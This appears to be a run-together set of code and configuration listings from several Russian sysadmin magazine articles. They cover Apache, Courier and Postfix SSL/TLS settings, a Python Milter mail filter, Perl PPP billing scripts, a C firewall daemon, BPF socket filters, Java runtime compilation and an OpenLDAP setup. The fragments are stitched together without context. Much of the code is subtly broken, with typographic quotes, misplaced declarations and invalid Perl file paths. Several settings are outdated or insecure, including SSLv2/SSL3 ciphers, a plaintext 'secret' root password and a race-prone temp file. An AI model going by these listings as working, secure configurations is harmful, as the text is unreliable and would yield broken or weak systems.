выбирайте нужное (+) и отсекайте ненужное (-). SetEnvIf User-Agent ".*MSIE.*" nokeepalive ssl-unclean-shutdown # Устанавливаем специальный лог, включаем определение # протокола и алгоритма шифрования. CustomLog logs/ssl_request_log \ "%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b" # Перезапускаем апач, если ssl оказался невключенным. RewriteEngine on RewriteCond %{HTTPS} !=on RewriteOptions inherit openssl s_client -connect ww.test.ru:443 [-cert file] [-debug] [-ciphers list] lynx https://www.test.ru [10/Nov/2002 17:41:34 04803] [info] Connection to child 0 established (server localhost.localdomain:443, client 127.0.0.1) [10/Nov/2002 17:41:34 04803] [info] Seeding PRNG with 23177 bytes of entropy [10/Nov/2002 17:41:35 04803] [info] Connection: Client IP: 127.0.0.1, Protocol: TLSv1, Cipher: EDH-RSA-DES-CBC3-SHA (168/168 bits) [10/Nov/2002 17:41:35 04803] [info] Initial (No.1) HTTPS request received for child 0 (server localhost.localdomain:443) [10/Nov/2002 17:41:35 04803] [info] Connection to child 0 closed with standard shutdown (server localhost.localdomain:443, client 127.0.0.1) openssl ca -gencrl -out crl.pem openssl ca -revoke bad_cert.pem imapd-ssl # Запускаем работу механизма ssl для imap-сервера. В файлах # esmtpd-ssl, pop3d-ssl можно также устанавливать эту опцию # для конкретного сервера (например, ESMTPDSSLSTART...). IMAPDSSLSTART=YES # Порт для безопасного соединения (по умолчанию порт не # определён, но обычно используются следующие значения: # IMAPS - 993, POPS - 995 и SMTPS - 465). Адрес задается # как IP-адрес. SSLPORT=993 SSLADDRESS=0 # PID-файл для ssl сервера. SSLPIDFILE=/var/run/courier/imapd[pop3d, esmtpd]-ssl.pid # Использование улучшенного протокола tls, по умолчанию # выключено, но у меня всё работало нормально с включением # расширений tls. TLS используется, если необходимо # использовать особый ssl порт, т.е. позволяет использовать # особый порт для работы ssl. IMAPDSTARTTLS=YES # Заставляет работать механизм tls в любых случаях # (по умолчанию). IMAP_TLS_REQUIRED=0 # Вспомогательная программа, использующаяся при работе # с ssl. На этапе компиляции она создаёт простой сертификат # (который, впрочем, у меня не работал, поэтому я сразу же # создал нужный мне правильный сертификат), а затем, по # идее, должна использоваться для аутентификации клиентов, # но, как я понял, работать подобным образом это ещё не # работает (не забывайте, что курьер - это довольно молодой # продукт), но всё же укажем эту опцию на всякий случай... COURIERTLS=/usr/bin/couriertls # Определение версии используемого протокола ssl: # SSL2 - SSLv2 # SSL3 - SSLv3 # TLS1 - TLS1 TLS_PROTOCOL=SSL3 # Данная опция рассматривается как механизм работы ssl, # если определён параметр STARTTLS=YES. TLS_STARTTLS_PROTOCOL=TLS1 # Список алгоритмов шифрации. Можно не трогать данный # параметр и оставить его по умолчанию – и так сработает # TLS_CIPHER_LIST="ALL:!ADH:RC4+RSA:+SSLv2:@STRENGTH" # Сертификат сервера (pem-формат). Внутри данного файла # должны содержаться сертификат и НЕЗАШИФРОВАННЫЙ секретный # ключ, поэтому доступ к данному файлу на чтение должен быть # предоставлен только пользователю courier. TLS_CERTFILE=/etc/openssl/imapd.pem # Следующий параметр определяет путь к каталогу (или файлу), # содержащему "доверенные" сертификаты (если я правильно # понял, то это СА-сетрификаты, но здесь я могу ошибаться). # Сервер использует данные сертификаты, если опция # TLS_VERIFYPEER установлена в PEER или REQUIREPEER. Честно # говоря, с этим я разобрался не до конца, да и сами раз- # работчики курьера не очень-то советуют использовать дан- # ную опцию по причине TLS_TRUSTCERTS=/etc/openssl/ca.pem. # А вот это та самая опция аутентификации через сертификаты, # она может принимать следующие значения: # NONE - не проверяем сертификат клиента вовсе. # PEER - проверяем сертификат клиента, если последний # передал его серверу. # REQUIREPEER - проверяем сертификат клиента и запрещаем # вход, если клиент не предоставил сертификата # (или сертификат неверный). TLS_VERIFYPEER=NONE main.cf: # Создаём стандартный серверный сертификат (как было уже # несколько раз описано) и незашифрованный секретный ключ. # Указываем далее к ним путь. smtpd_tls_cert_file = /etc/openssl/smtpd.pem smtpd_tls_key_file = /etc/openssl/smtpd.key # Указываем также путь к trusted root CA файлу (pem-формат) # Можно также указать путь к каталогу с CA-сертификатами, # но тут возникают проблемы с хеш-файлами (я их уже # описывал при разговоре об апаче). smtpd_tls_CAfile = /etc/openssl/ca.pem # Уровень записи в лог. Меняется от 0 до 4: # 0 – забиваем на логи; # 1 – выводим информацию о сертификатах при установке # соединения; # 2,3,4 – различная дополнительная инфа (вроде hex-дампов # пакетов и.т.д.). # Рекомендуется использовать значение 1 или 2. smtpd_tls_loglevel = 1 # По умолчанию механизм ssl не включён – включаем его. smtpd_use_tls = yes # Установкой следующей опции в yes (по умолчанию - no) # можно добиться того, что все команды smtp-сервера будут # выполняться в ssl-режиме (это не подходит для серверов, # которые предоставляют обе услуги: защищённое мыло # и стандартное). # smtpd_enforce_tls = no # Запрос на сертификат клиента. Я здесь не буду # останавливаться, т.к. вряд ли кто будет применять этот # ужас (тем более, я не видел ни одного клиента, способного # выполнить аутентификацию по сертификату). Поэтому лучше # оставить эту опцию по умолчанию в no (это также касается # и опции smtpd_tls_req_ccert). # smtpd_tls_ask_ccert = no # Для совместимости со старыми версиями postfix принимается # команда AUTH без шифрования, что создаёт угрозу # безопасности, установка следующей опции в yes говорит, # что шифрование будет производиться только для команды # AUTH. Для полного шифрования всего трафика используйте # опцию smtpd_enforce_tls. # smtpd_tls_auth_only = no # Файл кеша ssl для сервера. Поддерживается только формат # sdbm, т.к. необходима поддержка одновременной записи # нескольких процессов в данный файл. smtpd_tls_session_cache_database = sdbm:/etc/postfix/smtpd_scache # Тайм-аут для кеша. smtpd_tls_session_cache_timeout = 3600s # Традиционный список используемых алгоритмов. # smtpd_tls_cipherlist = DEFAULT # Тайм-аут длительности соединения ss. smtpd_starttls_timeout = 270s # Установки генератора случайных чисел. Используются # стандартные устройства рандомизации или egd-генератор. # Устанавливаться может также число считываемых байт и # время обновления установки генератора случайных чисел. tls_random_source = dev:/dev/urandom # tls_random_source = egd:/var/run/egd-pool # tls_random_bytes = 32 # tls_random_reseed_period = 3600s Почтовый фильтр или Milter = Mail + Filter Роман сузи APPENDDEF(“conf_sendmail_ENVDEF”, “-DMILTER”) #!/usr/bin/python2 """ Пример Milter, на основе которого можно написать собственный фильтр для почты. """ import sys, os, Milter, tempfile, re, traceback from time import strftime, time, localtime def dbg_except(): """Функция, которую можно ставить в части except: оператора try-except для отладки """ sys.stderr.write(strftime(“%Y%m%d%H%M%S “) + "".join(apply(traceback.format_exception, sys.exc_info()))) class ExampleMilter(Milter.Milter): """Класс, каждый объект которого отвечает за одно соединение.""" def log(self, *msg): print "%s [%d] %s" % (strftime(“%Y%m%d%H%M%S”), self.id, " ".join(map(str, msg))) def __init__(self): self.tempname=self.mailfrom=self.connfrom=self.fp=None self.id = Milter.uniqueID() def connect(self, hostname, unused, hostaddr): """Вызывается при установке SMTP-соединения""" self.log("connect: %s, %s" % (hostname, hostaddr)) # Здесь можно сразу проверить и отклонить: # return Milter.REJECT return Milter.CONTINUE def hello(self,hostname): """Вызывается после команды HELO""" self.log("hello from %s" % hostname) return Milter.CONTINUE def envfrom(self, f, *s): """Вызывается после команды MAIL FROM (их может быть несколько в рамках одного соединения). Отмечает начало сообщения.""" self.log("mail from", f, s) self.tempname = None self.mailfrom = f self.headers = [] self.bodysize = 0 return Milter.CONTINUE def envrcpt(self, to, *s): """Вызывается после команды RCPT TO (их может быть несколько для каждого сообщения). """ self.log("rcpt to", to, s) return Milter.CONTINUE def header(self, name, val): """Вызывается для каждого поля заголовка сообщения """ # записать поле в список self.headers.append("%s: %s" % (name, val)) lname = name.lower() if lname in (“subject”, “from”, “to”): self.log(“%s: %s” % (lname, val)) return Milter.CONTINUE def eoh(self): """Вызывается по окончании обработки заголовка """ # Начинаем записывать сообщение во временный # файл. Сначала заголовки self.tempname = tempfile.mktemp(".milter.tmp") self.fp = open(self.tempname, "w+b") self.fp.write("\n".join(self.headers) + "\n\n") return Milter.CONTINUE def body(self, chunk): """Вызывается для каждого фрагмента тела сообщения """ # Тело сообщения по кусочкам пишется в тот же файл if self.fp: self.fp.write(chunk) self.bodysize += len(chunk) return Milter.CONTINUE def eom(self): """Вызывается в конце каждого сообщения """ # Закрываем временный файл (если он есть) if self.fp: self.fp.close() else: return Milter.TEMPFAIL # Здесь можно делать всевозможные проверки # и вызывать следующие методы: # Удалить получателя: # self.delrcpt("") # Добавить получателя: # self.addrcpt("") # Добавить поле в заголовок: # self.addheader("X-Processed-By", "Milter") # ...и другое (см. документацию к Milter) # Заменить тело сообщения (покусочно): # for c in chunks: # self.replacebody(c) # Отклонить сообщение (с указанием причины): # self.setreply(“550”, “5.1.1”, “SPAM”) # return Milter.REJECT # Отбросить сообщение: # return Milter.DROP # Принять сообщение: self.log(“msg accepted: size=%s” % self.bodysize) return Milter.ACCEPT def abort(self): """Вызывается в случае ненормального завершения соединения """ self.log("abort. Size=%d" % self.bodysize) return Milter.CONTINUE def close(self): """Вызывается в конце соединения, даже если оно было прервано """ self.log("connection closed.") sys.stdout.flush() if self.fp: self.fp.close() self.fp = None if self.tempname: os.remove(self.tempname) self.tempname = None return Milter.CONTINUE if __name__ == "__main__": os.chdir("/home/milter") tempfile.tempdir = "/var/tmp" socketname = "inet:2525@milter.host.ru" timeout = 240 # секунд Milter.factory = ExampleMilter Milter.set_flags(Milter.CHGBODY + Milter.CHGHDRS + Milter.ADDHDRS + Milter.DELRCPT + Milter.ADDRCPT) print """Example Milter start""" sys.stdout.flush() Milter.runmilter("mainfilter", socketname, timeout) print """Example Milter shutdown""" def eom(self): """Обработка сообщения: проверка на вирусы с помощью антивируса ClamAV""" # Закрываем временный файл (если он есть) if self.fp: self.fp.close() else: return Milter.TEMPFAIL try: clam=os.popen("clamscanm <%s"%self.tempname,"r").read() if clam.find("FOUND") != -1: self.log(“virus rejected: %s” % clam) self.setreply(“550”,’5.1.1',’VIRUS FOUND %s’ % clam) return Milter.REJECT except: dbg_except() self.log(“msg accepted: size=%s” % self.bodysize) return Milter.ACCEPT MAIL_FILTER(`mainfilter', `S=inet:2525@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m') define(`confINPUT_MAIL_FILTERS', `mainfilter') O InputMailFilters=mainfilter #O Milter.LogLevel O Milter.macros.connect=j, _, {daemon_name}, {if_name}, {if_addr} O Milter.macros.helo={tls_version}, {cipher}, {cipher_bits}, {cert_subject}, {cert_issuer} O Milter.macros.envfrom=i, {auth_type}, {auth_authen}, {auth_ssf}, {auth_author}, {mail_mailer}, {mail_host}, {mail_addr} O Milter.macros.envrcpt={rcpt_mailer}, {rcpt_host}, {rcpt_addr} Xfilteronegoru, S=inet:2525@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m S=local:путь S=inet:порт@хост S=inet6:порт@хост MAIL_FILTER(`mainfilter', `S=inet:2525@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m') MAIL_FILTER(`filter2', `S=inet:2626@milter.host.ru, T=C:10m;S:30s;R:30s;E:10m') define(`confINPUT_MAIL_FILTERS', `mainfilter,filter2') Для каждого соединения: Для каждого фильтра: Вызвать connect() Вызвать hello() Для каждого сообщения (последовательно): Для каждого фильтра: Вызвать envfrom() Для каждого получателя: Для каждого фильтра: Вызвать envrcpt() Для каждого фильтра: Для каждого поля заголовка: Вызвать header() Вызвать eoh() Для каждого фрагмента тела: Вызвать body() Вызвать eom() Для каждого фильтра: Вызвать close() #!/usr/bin/python import os, glob, time, stat recent = time.time() - 60*20 # 20 min for fl in glob.glob(“/var/tmp/*.tmp”): try: if os.stat(fl)[stat.ST_MTIME] < recent: os.unlink(fl) except: pass Создание простейшей биллинговой системы Денис Мясниченко /etc/ppp/billing-up {PEERNAME} /etc/ppp/billing-down {PEERNAME} auth-up 1.#!/usr/bin/perl 2.# Программа auth-up 3.# Сохранение логина пользователя и времени его входа 4.$username = $ARGV[1]; 5.open(FL, ‘> /etc/ppp online.usr’); 6.print(FL, “$username “, localtime, “\n”); auth-down 1.#!/usr/bin/perl 2.# Программа auth-down 3.# Окончательный анализ пребывания пользователя в Интернете. 4.$username = $ARGV[1]; 5.open(FL, ‘< /etc/ppp/online.usr’); 6.read(FL, $temp); 7.close(FL); 8.chomp($temp); 9.@user = split(/ /,$temp); 10.$logintime = $user[2]; 11.$logouttime = localtime; 12.$timeonline = $logouttime — $logintime; 13.open(FL, ‘>> /var/log/inet.usr’); 14.print(FL, “User: $username, LogIn: $logintime, LogOut: $logouttime, OnLineTime: $timeonline”); /etc/ppp/count-up {PEERNAME} {REMOTEIP} /etc/ppp/count-down {PEERNAME} {REMOTEIP} ipchains –N {PEERNAME} ipchains –F {PEERNAME} ipchains –Z {PEERNAME} ipchains –L {PEERNAME} –nvx ipchains –A input –s {REMOTEIP}/32 –d 0/0 –j {PEERNAME} ipchains –A output –d {REMOTEIP}/32 –s 0/0 –j {PEERNAME} ipchains –D input –s {REMOTEIP}/32 –d 0/0 –j {PEERNAME} ipchains –D output –d {REMOTEIP}/32 –s 0/0 –j {PEERNAME} Мифы и легенды современной ОСологии… или «ОС – это большой полосатый мух?» Александр Потемкин # cd /usr/ports/{NameOfSection}/{ProgramName} # make install; make clean # cd /usr/ports/emulators/wine # make install; make clean БРАНДМАУЭР Часть 2 владимир мешков #include #include #include #include #include #include #include #include #include "sfc.h" #define PID "daemon.pid" static pid_t pid; int main (int argc, char *argv[]) { void usage(): void usage() { fprintf(stderr,"\nUsage: daemon [ start / stop ]\n\n"); return; } if(argc!=2) { usage(); return (-1); } if(!(strcmp(argv[1],"start"))) { if(stat(PID,&s)==0) { fprintf(stderr,"\nDaemon is allready running !\n\n"); return (-1); } init_daemon(); pid = fork(); if (pid < 0) { perror("fork"); exit(1); } if (pid==0) { setsid(); start_daemon(); exit(1); } pid_file=open(PID,O_CREAT|O_TRUNC|O_RDWR,0644); if(pid_file < 0) { perror(PID); return (-1); } if(write(pid_file,(char *)&pid,sizeof(pid_t)) < 0) { perror(PID); return (-1); } close(pid_file); } if(!(strcmp(argv[1],"stop"))) { pid_file=open(PID,O_RDONLY); if(pid_file<0) { perror(PID); return (-1); } if(read(pid_file,(char *)&pid,sizeof(pid_t)) < 0) { perror(PID); return (-1); } close(pid_file); if(unlink(PID) < 0) { perror(PID); return (-1); } kill(pid,SIGINT); } return (0); } #include #include #include #include #include #include #include #include #include #include "sf_daemon.h" #include #include #define LOG "/var/log/daemon" struct data_log { __u32 addr; int action; int ready; }; int fddev=0; - дескриптор файла устройства; int f; - дескриптор log-файла. void stop_daemon() { close(fddev); stop_log(f); exit(0); } void packet_loop(void) { struct data_log data; int count; for (;;) { count=read(fddev,(char *)&data,sizeof(struct data_log)); if(count<0) stop_daemon(); if(data.ready==1) { if(data.action==0) { if(fill_log(f,data.action,data.addr) < 0) stop_daemon(); } } } } void init_daemon() { int err; struct iphdr ip_pack; memset(&ip_pack,0,sizeof(struct iphdr)); ip_pack.saddr=inet_addr("192.168.1.10"); f=open(LOG,O_CREAT|O_APPEND|O_RDWR,0644); if(f<0) { perror(«open log»); exit(0); } fddev=open("/dev/firewall",O_RDWR); if(fddev<0) { perror("firewall"); exit(0); } err=write(fddev,&ip_pack,sizeof(struct iphdr)); if(err<0) { perror("firewall"); stop_daemon(); } return; } void start_daemon() { sigset_t mask; static struct sigaction act; sigfillset(&mask); sigdelset(&mask,SIGINT); sigprocmask(SIG_SETMASK,&mask,NULL); act.sa_handler=stop_daemon; sigaction(SIGINT,&act,NULL); start_log(f); packet_loop(); exit(1); } #include #include #include #include #include #include #include #define BSIZE 80 int start_log(int f) { char buf[BSIZE]; time_t start_t; bzero(buf,BSIZE); time(&start_t); sprintf(buf,"Daemon started at %s", ctime(&start_t)); if(write(f,buf,strlen(buf)) < 0) return (-1); return (0); } int stop_log(int f) { char buf[BSIZE]; time_t stop_t; bzero(buf,BSIZE); time(&stop_t); sprintf(buf,»Daemon stoped at %s», ctime(&stop_t)); if(write(f,buf,strlen(buf)) < 0) return (-1); close(f); return (0); } int fill_log(int f, int action, u_long addr) { char buf[BSIZE]; time_t fill_t; bzero(buf,BSIZE); time(&fill_t); if(action==0) { sprintf(buf,"Packet from %s was rejected at %s",inet_ntoa(addr), ctime(&fill_t)); if (write(f,buf,strlen(buf)) < 0) return (-1); return (0); } } CC = gcc name = daemon DAEMON = sfc.o sf_daemon.o sf_log.o $(name): $(DAEMON) $(CC) -g -o $(name) $(DAEMON) sfc.o: sfc.c $(CC) -c sfc.c sf_daemon.o: sf_daemon.c $(CC) -c sf_daemon.c sf_log.o: sf_log.c $(CC) -c sf_log.c clean: rm -f *.o ./daemon start ./daemon stop ПАКЕТНЫЙ ФИЛЬТР Владимир Мешков struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; }; BPF_LD+BPF_W+BPF_ABS A <- P [ k : 4 ] BPF_LD+BPF_H+BPF_ABS A <- P [ k : 2 ] BPF_LD+BPF_B+BPF_ABS A <- P [ k : 1 ] BPF_LD+BPF_W+BPF_IND A <- P [ X + k : 4 -] BPF_LD+BPF_H+BPF_IND A <- P [ X + k : 2 ] BPF_LD+BPF_B+BPF_IND A <- P [ X + k : 1 ] BPF_LD+BPF_W+BPF_LEN A <- len BPF_LD+BPF_IMM A <- k BPF_LD+BPF_MEM A <- M [ k ] BPF_LDX+BPF_W+BPF_IMM X <- k BPF_LDX+BPF_W+BPF_MEM X <- M [ k ] BPF_LDX+BPF_W+BPF_LEN X <- len BPF_LDX+BPF_B+BPF_MSH X <- 4 * ( P [ k : 1 ] & 0xF ) BPF_ST M [ k ] <- A BPF_STX M [ k ] <- X BPF_ALU+BPF_ADD+BPF_K A <- A + k BPF_ALU+BPF_SUB+BPF_K A <- A — k BPF_ALU+BPF_MUL+BPF_K A <- A * k BPF_ALU+BPF_DIV+BPF_K A <- A / k BPF_ALU+BPF_AND+BPF_K A <- A & k BPF_ALU+BPF_OR+BPF_K A <- A | k BPF_ALU+BPF_LSH+BPF_K A <- A << k BPF_ALU+BPF_RSH+BPF_K A <- A >> k BPF_ALU+BPF_ADD+BPF_X A <- A + X BPF_JMP+BPF_JA pc += k BPF_JMP+BPF_JGT+BPF_K pc += ( A > k ) ? jt : jf BPF_JMP+BPF_JGE+BPF_K pc += ( A >= k ) ? jt : jf BPF_JMP+BPF_JEQ+BPF_K pc += ( A == k ) ? jt : jf BPF_JMP+BPF_JSET+BPF_K pc += ( A & k ) ? jt : jf BPF_JMP+BPF_JGT+BPF_X pc += ( A > X ) ? jt : jf BPF_JMP+BPF_JGE+BPF_X pc += ( A >= X ) ? jt : jf BPF_JMP+BPF_JEQ+BPF_K pc += ( A == X ) ? jt : jf BPF_JMP+BPF_JSET+BPF_K pc += ( A & X ) ? jt : jf BPF_RET+BPF_A BPF_RET+BPF_K BPF_MISC+BPF_TAX X <- A BPF_MISC+BPF_TXA A <- X # include struct sock_fprog *Filter; struct sock_filter BPF_code [ ] = { BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETH_P_IP, 0, 8), BPF_STMT(BPF_LD+BPF_W+BPF_ABS, 26), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0xC0A80102, 0, 6), BPF_STMT(BPF_LD+BPF_B+BPF_ABS, 23), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_TCP, 0, 4), BPF_STMT(BPF_LDX+BPF_B+BPF_MSH, 14), BPF_STMT(BPF_LD+BPF_H+BPF_IND, 14), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0x17, 0, 1), BPF_STMT(BPF_RET+BPF_K,1500), BPF_STMT(BPF_RET+BPF_K,0), }; Заполним поля структуры struct sock_fprog *Filter : Filter -> len = 11; - значение поля len равно числу структур в массиве BPF_code [ ] Filter -> filter = BPF_code; - указатель на массив структур BPF_code [ ] Привязка фильтра к сокету выполняется при помощи вызова setsockopt следующим образом: if ( setsockopt ( e0_r, SOL_SOCKET, SO_ATTACH_FILTER, Filter, sizeof (*Filter) ) < 0 ) { perror ( "SO_ATTACH_FILTER" ); close ( e0_r ); exit (1); } BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 0, 0, 4), union { u_long net; char point [4]; } addr; addr. net = inet_addr (argv [1]); addr. point [0] ^= addr. point [3]; addr. point [3] ^= addr. point [1]; addr. point [0] ^= addr. point [3]; addr. point [1] ^= addr. point [2]; addr. point [2] ^= addr. point [1]; addr. point [1] ^= addr. point [2]; BPF_code [3]. k = addr. net; printf( « %x \n «, BPF_code[3]. k ); tcpdump -dd host 192.168.9.1 { 0x28, 0, 0, 0x0000000c }, { 0x15, 0, 4, 0x00000800 }, { 0x20, 0, 0, 0x0000001a }, { 0x15, 8, 0, 0xc0a80901 }, { 0x20, 0, 0, 0x0000001e }, { 0x15, 6, 7, 0xc0a80901 }, { 0x15, 1, 0, 0x00000806 }, { 0x15, 0, 5, 0x00008035 }, { 0x20, 0, 0, 0x0000001c }, { 0x15, 2, 0, 0xc0a80901 }, { 0x20, 0, 0, 0x00000026 }, { 0x15, 0, 1, 0xc0a80901 }, { 0x6, 0, 0, 0x00000044 }, { 0x6, 0, 0, 0x00000000 }, JAVA: МАГИЯ ОТРАЖЕНИЙ Часть III. КОМПИЛЯЦИЯ JAVA СРЕДСТВАМИ JAVA Даниил Алиевский // Constructors public Main() // Methods public static void main(String[] p0) public static int compile(String[] p0) public static int compile(String[] p0, PrintWriter p1) new String[] { "-d", "/путь_к_подкаталогу", "myfile.java" } String[] args= параметры утилиты javac; CharArrayWriter writer= new CharArrayWriter(); int result= com.sun.tools.javac.Main.compile( args, new PrintWriter(writer,true)); if (result!=0) { /* - произошла какая-то ошибка */ анализируем и, возможно, показываем пользователю строку сообщений компилятора writer.toString() } // Constructors public Main() // Methods public static void main(String[] p0) public int compile(String[] p0) public synchronized boolean compile( String[] p0) public Main( OutputStream p0, String p1) public int getExitStatus() Process p= Runtime.getRuntime().exec( массив_аргументов); /* - первый элемент в массиве должен содержать полное имя файла утилиты javac, остальные элементы - параметры этой утилиты */ final InputStreamReader is= new InputStreamReader(p.getInputStream()); final InputStreamReader es= new InputStreamReader(p.getErrorStream()); final StringBuffer out= new StringBuffer(); final StringBuffer err= new StringBuffer(); new Thread() { public void run() { try { char[] buf= new char[32768]; int len; while ((len=is.read(buf,0,buf.length))>=0) { out.append(buf,0,len); } } catch (Exception e) { e.printStackTrace(); } } }.start(); new Thread() { public void run() { ... (аналогичный цикл для es и err) } }.start(); int result= p.waitFor(); /* - дожидаемся завершения утилиты javac и получаем ее код завершения */ if (result!=0) { /* - произошла какая-то ошибка */ анализируем и, возможно, показываем пользователю сообщения компилятора out и err } System.getProperty("java.io.tmpdir") OutputStreamWriter writer= new OutputStreamWriter( new FileOutputStream(file),encoding) var a= 23; var b= 45; var formula= "a+b"; var result= eval(formula); public Object eval( String javaExpression, Object context) throws Exception public static class Context { public int a,b; } ... public void НекоторыйМетод() { ... Context c= new Context(); c.a= 23; c.b= 45; String formula= "new Integer(a+b)"; Integer result= (Integer)Evaluator.eval(formula,c); ... } ... String formula= "a+b"; int result= Evaluator.evalInt(formula,c); ... public class НекоторыйКласс { ... public int a,b; public void НекоторыйМетод() { ... a= 23; b= 45; String formula= "a+b"; int result= Evaluator.evalInt(formula,this); ... } } import java.io.*; import java.util.*; какие-нибудь еще полезные import, которые могут пригодиться внутри формулы public class ___ExpressionNNN { public static int ___performEval( имя_класса_context c) { int returnValue= текст_формулы; return returnValue; } } returnValue= результат_наших_вычислений; import java.io.*; import java.util.*; какие-нибудь еще полезные import, которые могут пригодиться внутри формулы public class ___ExpressionNNN extends имя_класса_context { public class ___Performer { public int ___performEval() { int returnValue= текст_формулы; return returnValue; } } } public class ___ExpressionNNN$___Performer { // Fields private final ___ExpressionNNN this$0; // Constructors public ___ExpressionNNN$___Performer( ___ExpressionNNN p0) { реализация: копирует p0 в this$0 } // Methods public int ___performEval() { реализация, содержащая скомпилированный текст нашей формулы: для обращений к a,b и другим членам context используется ссылка this$0 } } context.getClass().getName().replace('.','/') OpenLDAP и защита данных Всеволод Стахов # Примерный файл конфигурации сервера slapd.conf. include /usr/share/openldap/schema/core.schema include /usr/share/openldap/schema/cosine.schema include /usr/share/openldap/schema/corba.schema include /usr/share/openldap/schema/inetorgperson.schema include /usr/share/openldap/schema/java.schema include /usr/share/openldap/schema/krb5-kdc.schema include /usr/share/openldap/schema/kerberosobject.schema include /usr/share/openldap/schema/misc.schema include /usr/share/openldap/schema/nis.schema include /usr/share/openldap/schema/openldap.schema # Включаем базовые определения объектов директорий и дополнительные классы # объектов, файлы схем. # Включаем файл, описывающий права доступа к БД: include /etc/openldap/slapd.access.conf # Стандартные файлы, необходимые для работы демона: файл идентификатора и # командной строки. pidfile /var/run/ldap/slapd.pid argsfile /var/run/ldap/slapd.args # Путь к дополнительным модулям сервера. modulepath /usr/lib/openldap # Описываем параметры соединения через SSL. # Хост для безопасной аутентификации SASL. sasl-host localhost # Если вы хотите разрешить соединение через TLS то уберите комментарий из # следующих строк (в данном примере он есть). #TLSRandFile /dev/random #TLSCipherSuite HIGH:+SSLv2 #TLSCertificateFile /etc/openldap/ldap.pem #TLSCertificateKeyFile /etc/openldap/ldap.pem # Путь к файлу ключа #TLSCACertificatePath /etc/openldap/ #TLSCACertificateFile /etc/openldap/ldap.pem # Путь к сертификату хоста #TLSVerifyClient 0 # Проверка ключа клиента # Самое главное - описание базы данных LDAP database ldbm # Тип базы данных ldbm suffix "dc=test,dc=ru" #suffix "o=My Organization Name,c=US" # Это основной суффикс БД. В определении системы директорий существует так # называемый корневой объект root. Суффикс определяет этот объект. Вообще # существует 2 стандарта LDAP имен для скелета дерева: метод для глобальных # сетей и локальных. Первый имеет подобный вид и описывает URL адрес: # person.domain.com(cn=person,dc=domain,dc=com), а второй описывает # организацию(вообще-то этот вид является стандартным) и имеет следующий вид: # person.organization_unit.organization.country(cn=person,ou=otd1,o=lab,c=RU) # выбор метода зависит от конкретного назначения LDAP и особого значения не имеет. # В данной статье я использовал интернет-наименования для краткости, но обычно в # компаниях всё же чаще применяется второй способ построения скелета дерева. rootdn "cn=admin,dc=test,dc=ru" #rootdn "cn=Manager,o=My Organization Name,c=RU" # Это поле содержит пароль администратора объекта root(то есть всей БД LDAP). # Пароль может храниться как в открытом виде (не рекомендуется!), так и в # зашифрованном виде с указанием алгоритма шифрования ({crypt}, {MD5}, {SSHA}, # {crypt}, {SMD5}, {SHA}) Пароль желательно устанавливать программой slappasswd, # позволяющей установить нужный алгоритм шифрования. rootpw secret # rootpw {crypt}ijFYNcSNctBYg # Папка, где хранится база данных LDAP. Эта папка должна существовать до запуска # LDAP, который иначе не запустится. Папка должна быть доступна для чтения и за- # писи только пользователю, под которым работает slapd, и иметь маску доступа 700. directory /var/lib/ldap # Определения первичных и вторичных индексов БД может ускорить поиск по БД #index objectClass eq index objectClass,uid,uidNumber,gidNumber eq index cn,mail,surname,givenname eq,subinitial # Права доступа по умолчанию access to attr=userPassword by self write by anonymous auth by dn="uid=root,dc=test,dc=ru" write by * none # Здесь определяется доступ к атрибуту пароль пользователя. Сам пользователь имеет # право записи, анонимному пользователю предоставляется возможность пройти # аутентификацию (после этого он представляет уже другой объект и доступа к паро- # лям анонимного пользователя не происходит, как можно было бы подумать), а поль- # зователь с контекстом "uid=root,ou=people,dc=test,dc=ru" имеет право на запись. # Другие же пользователи доступа к паролю не имеют никакого. Т.е., другими словами, # никто, кроме администратора и самого пользователя не имеют доступа к паролю. access to * by dn="uid=root,dc=test,dc=ru" write by * read # Доступ к остальным полям базы LDAP - все могут читать атрибуты (кроме пароля, # так как запрет имеет более высокий приоритет), а пользователь с контекстом # root может писать всё что угодно (а кто ж ему помешает ). slappasswd -h {алгоритм_шифрования}, slappasswd -h {crypt} slappasswd -h {md5} dn: dc=test,dc=ru # Уникальный контекст имени objectclass: dcObject # Класс объекта – контейнерный объект objectclass: organization # Тот же самый контекст может пред- # ставлять собой различные объекты o: test # Имя организации dc: test # То же самое, но в системе # глобальных имён # --------------------------------- dn: cn=admin,dc=test,dc=ru # Контекст администратора objectclass: organizationalRole # Класс – должностное лицо cn: admin # Имя человека (псевдоним) #---------------------------------- dn: ou=users,dc=test,dc=ru # Контекст группы пользователей ou: users # Значение группы objectclass: top objectclass: organizationalUnit # Класс группа #---------------------------------- dn: uid=null,ou=users,dc=test,dc=ru # Контекст конкретного пользователя # из /etc/passwd uid: null # Его пользовательский псевдоним cn: Neo # Реальный псевдоним objectclass: account # Класс пользовательский профиль objectclass: posixAccount # Класс пользователя POSIX objectclass: top objectclass: uidObject # Самая лучшая оболочка - zsh! loginshell: /bin/zsh # Все следующие параметры совпадают # с аналогичными в /etc/passwd uidnumber: 1000 gidnumber: 1000 homedirectory: /home/null gecos: Neo userpassword: $1$abcdvPbaLa6vs4ABab1N # Почтовый домен по умолчанию $DEFAULT_MAIL_DOMAIN = "test.ru"; # Имя корневого объекта LDAP $DEFAULT_BASE = "dc=test,dc=ru"; # Хост для приёма/передачи почты # по умолчанию $DEFAULT_MAIL_HOST = "mail.test.ru"; # Используем расширенные файлы схем $EXTENDED_SCHEMA = 1; migrate_base.pl > base.ldif ldapadd -x -D "cn=root,dc=test,dc=ru" -W -f base.ldif slapadd -f base.ldif ./migrate_hosts.pl /etc/hosts hosts.ldif dn: cn=work.test.ru,ou=Hosts, dc=test,dc=ru objectClass: top objectClass: ipHost objectClass: device ipHostNumber: 192.168.1.23 cn: work.test.ru cn: work root@ldap # ETC_SHADOW=/etc/shadow ./migrate_passwd.pl /etc/passwd passwd.ldif ldapsearch -LL -H ldap://localhost -b"dc=test,dc=ru" -x "(uid=null)" # # filter: (uid=null) # requesting: ALL # # null, Users, 